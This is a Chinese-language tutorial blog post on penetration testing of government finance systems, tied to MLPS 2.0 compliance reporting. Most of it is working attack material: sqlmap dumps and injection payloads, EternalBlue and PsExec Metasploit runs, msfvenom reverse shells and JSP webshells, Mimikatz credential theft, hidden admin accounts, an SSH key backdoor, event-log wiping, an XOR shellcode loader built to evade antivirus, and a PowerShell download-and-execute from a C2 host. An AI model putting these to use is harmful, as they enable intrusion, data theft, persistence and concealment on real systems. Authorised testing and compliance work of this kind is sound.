安全测试与渗透测试 Skill 实战:从信息收集到等保合规
安全测试与渗透测试 Skill 实战:从信息收集到等保合规
作者:浅木·先生
日期:2026年6月16日
一、开篇:为什么财政系统需要真刀真枪的渗透测试?
在等保2.0时代,财政系统作为国家关键信息基础设施,承载着预算管理、国库支付、非税收入、政府采购等核心业务,一旦出现安全事件,轻则数据泄露,重则影响国计民生。2025年等保2.0迎来重大升级——取消百分制,改为"符合、基本符合、不符合"三级判定,同时引入重大风险隐患概念。这意味着,漏洞不再是"扣分项"而是"一票否决项"。
我曾参与多个省市级财政系统的安全测评项目,一个深刻的体会是:光靠漏洞扫描器远远不够,真正的安全能力来自于系统化的渗透测试 Skill 实战。本文以 SecSkills 实战框架为蓝本,结合作者在财政系统一线的踩坑经验,从信息收集到等保合规落地,逐层拆解安全测试的全流程。
二、信息收集:渗透测试的"地基之战"
渗透测试的本质是信息收集。久攻不下的系统,往往不是能力不够,而是信息收集不够。
2.1 被动信息收集(OSINT)
在财政系统中,很多敏感信息不经意外泄。常见的手段包括:
# Google Hacking 查找财政系统敏感文件site:gov.cn filetype:xls 预算 支付 site:gov.cn intitle:"财政"inurl:login site:github.com"财政局"password# Whois 查询目标域名注册信息whois czj.xxx.gov.cn# 子域名收集(Layer / Subfinder)subfinder-dczj.xxx.gov.cn-all-osubdomains.txt除了搜索引擎,Fofa、Hunter、Shodan 等网络空间搜索引擎是财政系统资产测绘的利器。下面是我在实战中常用的查询语法:
# Fofa 搜索财政系统title="财政"&&body="login"&&country="CN"body="GRP-U8"||body="用友政务"# Hunter 搜索财政预算系统web.title="预算管理"&&web.body="财政局"&&status_code="200"# Shodan 搜索暴露的远程桌面port:3389 org:"Finance Bureau"country:CN踩坑经验1:某次在市级财政系统的信息收集阶段,通过 GitHub 代码搜索发现开发人员将application-dev.yml上传到了公开仓库,内含数据库连接串和 Redis 密码。如法炮制,又在 GitLab 上发现了多份财政系统的运维手册和 SQL 备份文件。这是一个典型的"供应链信息泄露",在等保测评中属于高危风险项,直接影响"安全开发"和"供应链管理"两个控制点的评分。建议在测试方案中纳入 GitHub/GitLab 敏感信息泄露检测作为专项测试项。
2.2 主动信息收集(资产测绘)
# Nmap 全端口+服务版本+OS 检测+NSE 漏洞脚本nmap-sS-sV-O-p1-65535-T4--script=vuln,http-enum,ssl-enum-ciphers-oAfiscal_scan10.88.xx.0/24# 目录爆破(财政系统常见敏感路径)dirsearch-uhttps://czj-web.xxx.gov.cn-ephp,asp,aspx,jsp-w/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt# 指纹识别(识别中间件和 CMS)whatweb https://czj-web.xxx.gov.cn wappalyzer# 浏览器插件财政系统常见指纹特征:
- 用友政务 GRP-U8 / A++(财政核心业务系统)
- 太极华青预算管理系统
- 龙图财政一体化平台
- 金财工程相关中间件(WebLogic、东方通 TAS)
踩坑经验2:某财政系统使用东方通 TAS 作为中间件,默认端口为9060(管理控制台)。Nmap 全端口扫描时如不指定-p-参数(默认只扫 1000 个常见端口),极容易漏掉此端口。而该管理控制台存在默认口令thanos/thanos123的普遍问题。教训:财政系统渗透测试必须做全端口扫描,确保不遗漏管理端口。
三、漏洞发现:从自动扫描到手工深挖
3.1 自动化漏洞扫描
# Nuclei 快速扫描(基于模版的漏洞验证)nuclei-llive_hosts.txt-t~/nuclei-templates/-severitycritical,high,medium-onuclei_results.txt# Xray 被动扫描(结合 BurpSuite 流量)xray webscan--listen127.0.0.1:7777 --html-output xray_report.html# BurpSuite 设置上游代理到 127.0.0.1:7777# Nikto Web 扫描nikto-hhttps://czj-web.xxx.gov.cn-ssl-Formathtml-onikto_report.html3.2 财政系统高频漏洞类型
以财政系统为靶标,以下漏洞几乎年年必出:
| 漏洞类型 | 典型场景 | 等保关联控制点 |
|---|---|---|
| SQL注入 | 预算查询接口、报表导出功能 | 安全计算环境-数据保密性 |
| 未授权访问 | GRP-U8 接口未鉴权 | 安全区域边界-访问控制 |
| 任意文件下载 | 附件下载参数未校验 | 安全计算环境-入侵防范 |
| 越权(水平/垂直) | 不同财政科室间的预算数据互访 | 安全计算环境-访问控制 |
| 弱口令 | 运维后台 admin/123456 | 安全计算环境-身份鉴别 |
| 敏感信息泄露 | Swagger-API 文档未关闭 | 安全建设管理-测试验收 |
深度分析:财政系统之所以常年存在这些漏洞,核心原因有三:
- 系统建设周期长:很多财政系统从"金财工程"时代(2002年启动)就开始建设,代码基龄超过20年,早期的安全设计缺失
- 外包开发普遍:财政信息化项目大量依赖第三方厂商(用友、太极华青等),安全代码规范执行不严
- 测试环境与生产脱节:我见过不止一个财政项目,测试环境的 Swagger、Druid 监控、Actuator 接口全部开放,上线时只改了数据库连接串,监控接口全部遗留到了生产环境
踩坑经验3:某财政一体化平台的预算编制功能中,POST 参数budgetYear=2026改为budgetYear=2025' OR '1'='1即爆出全部历史预算数据。该接口使用了 MyBatis 的${}拼接而非#{}预编译,属于典型的开发者安全意识不足。在等保 2.0 2025 版标准中,这种情况可能触发「重大风险隐患」判定,导致整体测评结论降级。
3.3 手工漏洞验证——BurpSuite 实战
自动化扫描只能覆盖已知漏洞,手工深挖才是发现 0day 和逻辑漏洞的关键。
# BurpSuite Intruder 爆破弱口令(财政系统常见默认密码)# Payload 字典:admin/admin123, grp/grp123, fiscal/fiscal@2026, ufida/ufida123# Repeater 手工测试越权# 将 Cookie 中的 sessionID 替换为其他用户的 session(垂直越权)# 修改 URL 中的 deptId=1001 为 deptId=1002(水平越权)# 绕过前端 JS 校验# 财政报表系统经常在前端做金额校验,修改 POST 请求的 amount 为负数# 测试"负采购"逻辑——某财政支付系统曾因此被刷走 200 万实战技巧:测试财政系统的逻辑漏洞时,务必关注"审批流绕过"。很多财政系统的预算审批分为"经办→审核→批准"三级,通过直接调用后端接口跳过中间环节,可以实现越权审批。这种漏洞在自动化工具中几乎不可能被发现。
3.4 SQLMap 实战
# 自动检测并注入sqlmap-u"https://czj-web.xxx.gov.cn/api/budget?deptId=1001"--cookie="JSESSIONID=xxx"--batch--level=3--risk=2# 获取数据库信息sqlmap-u"..."--dbssqlmap-u"..."-Dfiscal_db--tablessqlmap-u"..."-Dfiscal_db-Tt_user--dump# 绕过 WAF 技巧sqlmap-u"..."--tamper=space2comment,between,randomcase --random-agent四、漏洞利用与后渗透:从 WebShell 到域控
4.1 获取初始权限
# Metasploit 利用 SMB 漏洞(财政系统内网 Windows 服务器常见)msf6>use exploit/windows/smb/ms17_010_eternalblue msf6>setRHOSTS10.88.xx.50 msf6>setPAYLOAD windows/x64/meterpreter/reverse_tcp msf6>setLHOST10.88.xx.100 msf6>setLPORT4444msf6>exploit# 获取 WebShell(文件上传漏洞)# 上传冰蝎/哥斯拉马msfvenom-pjava/jsp_shell_reverse_tcpLHOST=10.88.xx.100LPORT=4444-fraw>shell.jsp# 然后用 BurpSuite 上传4.2 内网横向移动
# Meterpreter 后渗透meterpreter>sysinfo meterpreter>getuid meterpreter>run post/windows/gather/enum_domain# 抓取凭证(Mimikatz)meterpreter>load kiwi meterpreter>creds_all# 横向移动(PsExec)msf6>use exploit/windows/smb/psexec msf6>setRHOSTS10.88.xx.51 msf6>setSMBUser fiscal_admin msf6>setSMBPass hashed_password_here msf6>exploit# BloodHound 域环境分析(导出信息后在本地分析)cmd>bloodhound-python-dfiscal.local-uuser-ppass-ns10.88.xx.10-call踩坑经验4:某次财政内网渗透中,通过 Web 服务器获取了初始权限,但服务器上安装了360 杀毒,反弹 Shell 五分钟内即被查杀。解决方案:使用免杀处理——通过msfvenom --encoder x64/zutto_dekiru进行编码,或者使用 Cobalt Strike 的 Artifact Kit 自定义生成 payload。在财政系统这类高安全等级环境中,免杀不是可选项,而是必选项。
4.3 典型攻击链复盘:从财政外网到内网域控
为了帮助读者建立完整的攻击链思维,这里还原一次真实的财政系统渗透路径:
外网信息收集 → 发现财政信息公示网站子域名 ↓ 目录扫描发现 /api/swagger-ui.html(Swagger 接口文档泄露) ↓ 通过 Swagger 发现 /api/payment/export 接口存在 SQL 注入 ↓ SQLMap 获取数据库 SA 权限 → xp_cmdshell 执行系统命令 ↓ 获取 Web 服务器 SYSTEM 权限 → 转储管理员凭证 ↓ 内网横向扫描 → 发现预算管理系统服务器(Windows Server 2012 R2) ↓ MS17-010 永恒之蓝漏洞利用 → 获取第二台服务器权限 ↓ Mimikatz 抓取域管理员凭证 → PsExec 登录域控 ↓ 控制整个财政域环境 → 导出所有财政数据和用户哈希这条攻击链中的每一个环节都对应了等保 2.0 的一个或多个控制点:Swagger 泄露(安全开发-测试验收)→ SQL 注入(安全计算环境-入侵防范)→ 弱凭证(安全计算环境-身份鉴别)→ 永恒之蓝(安全区域边界-入侵防范)→ 域渗透(安全管理中心-集中管控)。这就是为什么渗透测试不能只看单点漏洞,而要评估整条攻击链的可达性与影响范围。
4.4 权限维持与痕迹清理
# 创建隐藏账户(Windows)net user fiscal_backup$ P@ssw0rd123!/add net localgroup administrators fiscal_backup$ /add# SSH 后门(Linux 财政前置机)echo" PermitRootLogin yes">>/etc/ssh/sshd_configecho'ssh-rsa AAAAB3NzaC1yc2E...'>>~/.ssh/authorized_keys# 清理日志wevtutil cl system wevtutil cl security wevtutil cl application五、免杀实战:与杀软的猫鼠游戏
财政系统的服务器普遍部署了主机安全防护软件(360、深信服 EDR、火绒等),不做免杀的 payload 基本活不过三分钟。以下是实战中验证有效的免杀策略:
5.1 Shellcode 加载器分离免杀
// C++ Shellcode 加载器(VT 查杀率 3/70)#include<windows.h>#include<stdio.h>unsignedcharshellcode[]="\xfc\x48\x83\xe4\xf0\xe8...";// XOR 加密后的 shellcodeintmain(){// 解密 XORcharkey='X';for(inti=0;i<sizeof(shellcode);i++){shellcode[i]^=key;}void*exec=VirtualAlloc(0,sizeof(shellcode),MEM_COMMIT,PAGE_EXECUTE_READWRITE);memcpy(exec,shellcode,sizeof(shellcode));((void(*)())exec)();return0;}5.2 PowerShell 内存加载
# 从远程服务器加载并内存执行(绕过文件扫描)powershell-nop-w hidden-c"IEX (New-Object Net.WebClient).DownloadString('http://your-c2-server/ps.ps1')"5.3 混淆编码技巧
# Base64 多重编码msfvenom-pwindows/x64/meterpreter/reverse_tcpLHOST=x.x.x.xLPORT=4444-fbase64# 使用 Veil 框架生成免杀 payloadveil Veil>use1# EvasionVeil>use13# Powershell踩坑经验5:不要迷信某一种免杀方案。上周能过的方案,这周杀软更新病毒库后可能就废了。建议准备 3-4 种不同免杀思路(分离加载器、白名单 Dll 劫持、vba 宏、powershell 混淆),在实战中轮换使用。
六、报告交付与等保合规落地
渗透测试的最终价值体现在报告。财政系统的等保测评渗透测试报告需要面向三类读者:
6.1 报告核心结构
1. 执行摘要(给局领导看) - 一句话结论:系统整体安全风险等级 - 高危漏洞 TOP 3 - 是否符合等保三级要求 2. 漏洞详情(给技术科看) - 漏洞名称/位置/危害等级 - 复现步骤(含截图、请求包) - CVSS 3.1 评分 - 修复建议(具体到配置命令) 3. 合规对照(给测评机构看) - GB/T 22239-2019 对应控制点 - 整改前后对比6.2 等保 2.0 与渗透测试的衔接点
根据 GB/T 22239-2019(三级系统),以下控制点与渗透测试强相关:
| 等保控制点 | 渗透测试验证项 | 常见不符合项 |
|---|---|---|
| 身份鉴别 | 弱口令、默认口令测试 | GRP-U8 admin/123456 |
| 访问控制 | 越权、未授权访问 | 数据权限未按科室隔离 |
| 入侵防范 | SQL注入、文件上传 | 预算查询接口未参数化 |
| 数据保密性 | 敏感数据传输明文 | 财政报表 HTTP 明文传输 |
| 安全审计 | 日志记录完整性 | 未记录操作人 IP 和时间 |
| 剩余信息保护 | 敏感信息泄露 | Swagger 文档未关闭 |
6.3 2025 版等保新规特别提醒
2025 年等保新标准明确要求:
- 渗透测试报告必须标注 APT 攻击检测点,验证横向移动阻断和数据外传监控能力
- 重大风险隐患判定:即使符合率超过 90%,若存在 SQL 注入等高危漏洞,仍判定为"基本符合"
- 财政三级系统每年必须复测,且保护工作方案需在每年 12 月 31 日前提交属地公安机关
七、结语
安全测试没有"银弹"。从信息收集到免杀实战,从漏洞利用到等保合规,每一个环节都可能决定一次渗透测试的成败。对我而言,财政系统的安全测试更有一种特殊的责任感——每一行代码的安全,关联的是国家财政资金的安全。
最后送给大家一句话:“Attack is the best defense, but compliance is the baseline.”攻击思维让我们找到漏洞,合规意识让我们守住底线。
本文由浅木·先生原创撰写,基于 SecSkills 实战框架与等保 2.0 标准。文中命令仅供授权测试使用,未经授权对目标系统进行渗透测试可能违反《网络安全法》第二十七条。
